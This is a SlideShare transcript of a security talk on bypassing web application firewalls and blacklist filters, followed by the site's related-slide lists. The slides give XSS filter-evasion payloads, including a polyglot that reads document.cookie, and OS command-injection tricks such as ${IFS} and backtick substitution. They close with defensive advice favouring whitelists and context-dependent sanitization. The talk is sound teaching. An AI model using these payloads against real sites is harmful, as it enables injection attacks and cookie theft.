SlideShare a Scribd company logo
"Bypassing WAFs and
Filters"
wHy${IFS}bLaCk$()liStINg$'x20'"dOe``Snx27t"$'t'wOrk
Every kid knows how to bypass filters
"Since last thursday our printer prints this weird character combination over every
single page. I don't know where you learned this but you are grounded!"
● Don't
● Turn on your TV
● Play on your Computer
● Watch movies on your smartphone
● Call your friends
● The kid
● Connects his game console to the PC screen
● Watches a TV show on the smart phone
● Sends message to friend to call him
----------------- TV IS STILL OFF
------------------------ KID PLAYS CONSOLE, NOT PC
------------------------------------- TV SHOWS ARE NOT MOVIES
------------------ HE DIDN'T CALL THEM, THEY CALLED HIM
Blacklist Filter Bypassing
An easy concept
● Set of Rules
● Don't use these keywords
● Don't use that special char
● You are not allowed to use a keyword if it appears together with another keyword
● Everything is allowed as long as it's not breaking at least of the rules
● For blacklist filters to work you have to
● Think of every malicious keyword, character, or keyword combination
● Deobfuscate the input before checking it
● Keep it up to date
How likely is it to find bypasses?
Depends on the language and available functions
● Complex Languages
● JavaScript
■ Different property accessors (foo.bar, foo['bar']) -> window['al'+'ert'](1)
■ Many ways to evaluate code (eval, setTimeout, setInterval, Function(), script.src, …)
■ Lots of predefined functions for obfuscation (fromCharCode(), toString(), btoa(), …)
■ More on that later
● Error-Tolerant Languages
● HTML
■ Everybody should be able to write HTML code
■ Browsers fix malformed HTML (wrong encoding, missing quotes, x0d, x09, x0c x0a
x2f instead of spaces, …)
■ Lots of "inline event handlers" to avoid writing too much JS
Browser's XSS Filters
Are they secure? Not 100%
● Can only protect against reflected XSS
● Check input for dangerous HTML / JavaScript
● If dangerous input is reflected to the page, block it
● Don't want to break poorly coded websites
● E.g. Chrome XSS Auditor behaviour on the website "https://same-origin.com/"
■ <script src = "https://other-origin.com/some.js"></script> X
■ <script src = "https://same-origin.com/some.js"></script> ✔
● Allowing harmless HTML tags if there are no dangerous attributes
■ <div>Hi!</div> ✔
■ <a href = "https://google.com/">Google</a> ✔
■ <a href = "javascript:alert(1)">Click</a> X
The first rule of web app input filters
DON'T
WRITE
YOUR OWN
WEB APP INPUT FILTER
Practical XSS Filter Bypassing
First step: Find a way to execute JavaScript
● Inline Event Handlers
● onload, onerror, onselect, onwheel, onscroll, …
● Almost every browser has their own
● Some even depend on the device (ontouchstart, ondevicelight, ...)
● Obfuscation
● <svg><script>a<!-->l</>er<?>t&#x28;1<!>&#x29;</script>
● <a href = " javasc&#x09;ript:alert%281%29">click</a>
● Uncommon tags
● <img src = "//google.com/favicon.ico" usemap="."><map name = "."><area shape = "default"
href = "javascript:alert(1)"> (chrome)
● <math href = "javascript:alert(1)">click (FireFox)
Practical XSS Filter Bypassing
Second Step: Bypass filters for javascript functions
● Unicode
● u0061lert(1) == alert(1)
● Property Accessors
● window['al'+'ert'](1)
● <x id = "x"><script>x.parentNode.parentNode.parentNode.location = '//google.com'</script>
● Code evaluation
● document.location = 'javascript:al'+'ert(1)'
● [].filter.constructor('al'+'ert(1)')() Function('al'+'ert(1)')()
● setTimeout('al'+'ert(1)') setInterval('al'+'ert(1)') eval('al'+'ert(1)')
● Move parts of the payload into the location.hash part
● vuln.php?xss=setTimeout(unescape(document.location))#%0aalert(1)
■ This looks pretty complicated. How does it work?
Practical XSS Filter Bypassing
https://x.com/s?q=<svg/onload=eval(unescape(document.location))>#%0aalert(1)
● <svg/onload = *JS*>
● Executing the following string as javascript
● document.location is the URL, unescape decodes it, eval executes as JS
● https: is seen as label by javascript (same as goto)
● // is a javascript comment that ignores everything until the end of the line
● #%0aalert(1) this won't be sent to the browser, but is available to JavaScript
via document.location. Unescape decodes it to #*NEWLINE*alert(1)
● The executed JS code
https: //comment
alert(1)
Bypassing an OS command input filter
Common filters
● No spaces
● {uname,-a}
● IFS=,;`cat<<<uname,-a`
● uname${IFS}-a
● uname*tab here*-a
● Forbidden Keywords
● una""me -a
● una$()me -a
● un$'x61'me
● No | & ;
● ping xy`sleep 2`
● ping xy$(sleep 2)
DEMO
TIME
The problem is obvious
It's hard to think of all the possibilities
● Solution? Whitelists. You can't bypass those.
● E.g. Only allow URLs that start with "http://companyname.com" to avoid open redirects
■ http://companyname.com.attacker.com/
X AS WELL
● So no whitelists, right?
● Wrong
● Whitelists are still better than blacklists
● Easier to maintain
● Less to research and to keep in mind
● More effective
Whitelists - like every other part of
your web application - should be
implemented properly. More often
than not this is an order of
magnitude easier than using a
blacklist.
How to correctly prevent vulnerabilities?
Don't solely rely on filters
● Whenever possible
● Use context dependent sanitization
● Try to get familiar with the programming language you use and possible pitfalls
■ PHP: difference between escapeshellarg / escapeshellcmd
■ Ruby: difference between ^ & and A z
● Get familiar with the language you are trying to sanitize
● Reasons to use a web application firewall
● As additional security measure
● To temporarily protect your application if you can't fix immediately
● If you don't write it yourself
■ Use a professional solution
Bypassing Web Application Firewalls and other security filters
XSS filter "bypass" polyglot
'">><marquee><img src=x
onerror=confirm(1)></marquee>"></plaintext></|><plaintext/onmouseover=prompt
(1)><script>prompt(1)</script>@gmail.com<isindex
formaction=javascript:alert(/XSS/)
type=submit>'-->"></script><script>alert(document.cookie)</script>"><img/id="confi
rm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'"><img
src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.
jpg">
'">><marquee><img src=x
onerror=confirm(1)></marquee>"></plaintext></|><plaintext/onmouseover=prompt
(1)><script>prompt(1)</script>@gmail.com<isindex
formaction=javascript:alert(/XSS/)
type=submit>'-->"></script><script>alert(document.cookie)</script>"><img/id="confi
rm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'"><img
src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.
jpg">
??
"To not get caught during a physical pentest you should
dress as construction worker, employee, garbage man
and security guard at the same time while you use an air
horn and shout: look away!"

More Related Content

PDF
Hacking Vulnerable Websites to Bypass Firewalls
PPTX
Same-origin Policy (SOP)
PDF
Make CSRF Again
PPTX
Javascript Security - Three main methods of defending your MEAN stack
PDF
Ever Present Persistence - Established Footholds Seen in the Wild
PPTX
Javascript Security
PPTX
Hacking - Breaking Into It
PPTX
[OWASP Poland Day] Application security - daily questions & answers
Hacking Vulnerable Websites to Bypass Firewalls
Same-origin Policy (SOP)
Make CSRF Again
Javascript Security - Three main methods of defending your MEAN stack
Ever Present Persistence - Established Footholds Seen in the Wild
Javascript Security
Hacking - Breaking Into It
[OWASP Poland Day] Application security - daily questions & answers

What's hot (20)

PPTX
Client-side JavaScript Vulnerabilities
PDF
Buried by time, dust and BeEF
PDF
WordPress security 101 - WP Jyväskylä Meetup 21.3.2017
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
PDF
My tryst with sourcecode review
PDF
JavaScript Security
PDF
What Goes In Must Come Out: Egress-Assess and Data Exfiltration
PDF
CheckPlease: Payload-Agnostic Targeted Malware
PPTX
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
PPTX
TSC Summit #4 - Howto get browser persitence and remote execution (JS)
PPTX
Learn to pen-test with OWASP ZAP
PPTX
Owasp web application security trends
PPTX
Everybody loves html5,h4ck3rs too
PDF
The Supporting Role of Antivirus Evasion while Persisting
PDF
Introducing OWASP OWTF Workshop BruCon 2012
PDF
Web Exploitation
PDF
Passive Intelligence Gathering and Analytics - It's All Just Metadata!
PDF
Seravo.com: WordPress Security 101
PDF
Ruxmon feb 2013 what happened to rails
PPTX
Bsides tampa
Client-side JavaScript Vulnerabilities
Buried by time, dust and BeEF
WordPress security 101 - WP Jyväskylä Meetup 21.3.2017
Bug Bounty Hunter Methodology - Nullcon 2016
My tryst with sourcecode review
JavaScript Security
What Goes In Must Come Out: Egress-Assess and Data Exfiltration
CheckPlease: Payload-Agnostic Targeted Malware
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
TSC Summit #4 - Howto get browser persitence and remote execution (JS)
Learn to pen-test with OWASP ZAP
Owasp web application security trends
Everybody loves html5,h4ck3rs too
The Supporting Role of Antivirus Evasion while Persisting
Introducing OWASP OWTF Workshop BruCon 2012
Web Exploitation
Passive Intelligence Gathering and Analytics - It's All Just Metadata!
Seravo.com: WordPress Security 101
Ruxmon feb 2013 what happened to rails
Bsides tampa
Ad

Similar to Bypassing Web Application Firewalls and other security filters (20)

PDF
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
PDF
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 2 of 3)
PDF
Sandboxing JS and HTML. A lession Learned
PDF
Technical Architecture of RASP Technology
PPTX
RSA Conference 2010 San Francisco
PDF
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
PPT
PPT
&lt;img src="xss.com">
PDF
주로사용되는 Xss필터와 이를 공격하는 방법
PDF
The Ultimate IDS Smackdown
PPT
XSS Primer - Noob to Pro in 1 hour
PDF
Ultimate xss
PPT
Examining And Bypassing The IE8 XSS Filter
PDF
Ch 12 Attacking Users - XSS
PDF
XSS Magic tricks
PDF
PDF
ruxc0n 2012
PPTX
Top Ten Java Defense for Web Applications v2
PDF
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 2 of 3)
Sandboxing JS and HTML. A lession Learned
Technical Architecture of RASP Technology
RSA Conference 2010 San Francisco
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
&lt;img src="xss.com">
주로사용되는 Xss필터와 이를 공격하는 방법
The Ultimate IDS Smackdown
XSS Primer - Noob to Pro in 1 hour
Ultimate xss
Examining And Bypassing The IE8 XSS Filter
Ch 12 Attacking Users - XSS
XSS Magic tricks
ruxc0n 2012
Top Ten Java Defense for Web Applications v2
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
Ad

Recently uploaded (20)

PPTX
Cloud computing and distributed systems.
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Electronic commerce courselecture one. Pdf
PPTX
Spectroscopy.pptx food analysis technology
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PDF
Empathic Computing: Creating Shared Understanding
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
Encapsulation theory and applications.pdf
PPT
Teaching material agriculture food technology
PPTX
sap open course for s4hana steps from ECC to s4
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Spectral efficient network and resource selection model in 5G networks
Cloud computing and distributed systems.
Reach Out and Touch Someone: Haptics and Empathic Computing
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Diabetes mellitus diagnosis method based random forest with bat algorithm
Electronic commerce courselecture one. Pdf
Spectroscopy.pptx food analysis technology
MIND Revenue Release Quarter 2 2025 Press Release
The Rise and Fall of 3GPP – Time for a Sabbatical?
Dropbox Q2 2025 Financial Results & Investor Presentation
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Empathic Computing: Creating Shared Understanding
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Encapsulation theory and applications.pdf
Teaching material agriculture food technology
sap open course for s4hana steps from ECC to s4
Review of recent advances in non-invasive hemoglobin estimation
NewMind AI Weekly Chronicles - August'25 Week I
Spectral efficient network and resource selection model in 5G networks

Bypassing Web Application Firewalls and other security filters

  • 2. Every kid knows how to bypass filters "Since last thursday our printer prints this weird character combination over every single page. I don't know where you learned this but you are grounded!" ● Don't ● Turn on your TV ● Play on your Computer ● Watch movies on your smartphone ● Call your friends ● The kid ● Connects his game console to the PC screen ● Watches a TV show on the smart phone ● Sends message to friend to call him ----------------- TV IS STILL OFF ------------------------ KID PLAYS CONSOLE, NOT PC ------------------------------------- TV SHOWS ARE NOT MOVIES ------------------ HE DIDN'T CALL THEM, THEY CALLED HIM
  • 3. Blacklist Filter Bypassing An easy concept ● Set of Rules ● Don't use these keywords ● Don't use that special char ● You are not allowed to use a keyword if it appears together with another keyword ● Everything is allowed as long as it's not breaking at least of the rules ● For blacklist filters to work you have to ● Think of every malicious keyword, character, or keyword combination ● Deobfuscate the input before checking it ● Keep it up to date
  • 4. How likely is it to find bypasses? Depends on the language and available functions ● Complex Languages ● JavaScript ■ Different property accessors (foo.bar, foo['bar']) -> window['al'+'ert'](1) ■ Many ways to evaluate code (eval, setTimeout, setInterval, Function(), script.src, …) ■ Lots of predefined functions for obfuscation (fromCharCode(), toString(), btoa(), …) ■ More on that later ● Error-Tolerant Languages ● HTML ■ Everybody should be able to write HTML code ■ Browsers fix malformed HTML (wrong encoding, missing quotes, x0d, x09, x0c x0a x2f instead of spaces, …) ■ Lots of "inline event handlers" to avoid writing too much JS
  • 5. Browser's XSS Filters Are they secure? Not 100% ● Can only protect against reflected XSS ● Check input for dangerous HTML / JavaScript ● If dangerous input is reflected to the page, block it ● Don't want to break poorly coded websites ● E.g. Chrome XSS Auditor behaviour on the website "https://same-origin.com/" ■ <script src = "https://other-origin.com/some.js"></script> X ■ <script src = "https://same-origin.com/some.js"></script> ✔ ● Allowing harmless HTML tags if there are no dangerous attributes ■ <div>Hi!</div> ✔ ■ <a href = "https://google.com/">Google</a> ✔ ■ <a href = "javascript:alert(1)">Click</a> X
  • 6. The first rule of web app input filters DON'T WRITE YOUR OWN WEB APP INPUT FILTER
  • 7. Practical XSS Filter Bypassing First step: Find a way to execute JavaScript ● Inline Event Handlers ● onload, onerror, onselect, onwheel, onscroll, … ● Almost every browser has their own ● Some even depend on the device (ontouchstart, ondevicelight, ...) ● Obfuscation ● <svg><script>a<!-->l</>er<?>t&#x28;1<!>&#x29;</script> ● <a href = " javasc&#x09;ript:alert%281%29">click</a> ● Uncommon tags ● <img src = "//google.com/favicon.ico" usemap="."><map name = "."><area shape = "default" href = "javascript:alert(1)"> (chrome) ● <math href = "javascript:alert(1)">click (FireFox)
  • 8. Practical XSS Filter Bypassing Second Step: Bypass filters for javascript functions ● Unicode ● u0061lert(1) == alert(1) ● Property Accessors ● window['al'+'ert'](1) ● <x id = "x"><script>x.parentNode.parentNode.parentNode.location = '//google.com'</script> ● Code evaluation ● document.location = 'javascript:al'+'ert(1)' ● [].filter.constructor('al'+'ert(1)')() Function('al'+'ert(1)')() ● setTimeout('al'+'ert(1)') setInterval('al'+'ert(1)') eval('al'+'ert(1)') ● Move parts of the payload into the location.hash part ● vuln.php?xss=setTimeout(unescape(document.location))#%0aalert(1) ■ This looks pretty complicated. How does it work?
  • 9. Practical XSS Filter Bypassing https://x.com/s?q=<svg/onload=eval(unescape(document.location))>#%0aalert(1) ● <svg/onload = *JS*> ● Executing the following string as javascript ● document.location is the URL, unescape decodes it, eval executes as JS ● https: is seen as label by javascript (same as goto) ● // is a javascript comment that ignores everything until the end of the line ● #%0aalert(1) this won't be sent to the browser, but is available to JavaScript via document.location. Unescape decodes it to #*NEWLINE*alert(1) ● The executed JS code https: //comment alert(1)
  • 10. Bypassing an OS command input filter Common filters ● No spaces ● {uname,-a} ● IFS=,;`cat<<<uname,-a` ● uname${IFS}-a ● uname*tab here*-a ● Forbidden Keywords ● una""me -a ● una$()me -a ● un$'x61'me ● No | & ; ● ping xy`sleep 2` ● ping xy$(sleep 2)
  • 12. The problem is obvious It's hard to think of all the possibilities ● Solution? Whitelists. You can't bypass those. ● E.g. Only allow URLs that start with "http://companyname.com" to avoid open redirects ■ http://companyname.com.attacker.com/ X AS WELL ● So no whitelists, right? ● Wrong ● Whitelists are still better than blacklists ● Easier to maintain ● Less to research and to keep in mind ● More effective Whitelists - like every other part of your web application - should be implemented properly. More often than not this is an order of magnitude easier than using a blacklist.
  • 13. How to correctly prevent vulnerabilities? Don't solely rely on filters ● Whenever possible ● Use context dependent sanitization ● Try to get familiar with the programming language you use and possible pitfalls ■ PHP: difference between escapeshellarg / escapeshellcmd ■ Ruby: difference between ^ & and A z ● Get familiar with the language you are trying to sanitize ● Reasons to use a web application firewall ● As additional security measure ● To temporarily protect your application if you can't fix immediately ● If you don't write it yourself ■ Use a professional solution
  • 15. XSS filter "bypass" polyglot '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext></|><plaintext/onmouseover=prompt (1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(document.cookie)</script>"><img/id="confi rm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor. jpg"> '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext></|><plaintext/onmouseover=prompt (1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(document.cookie)</script>"><img/id="confi rm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor. jpg"> ?? "To not get caught during a physical pentest you should dress as construction worker, employee, garbage man and security guard at the same time while you use an air horn and shout: look away!"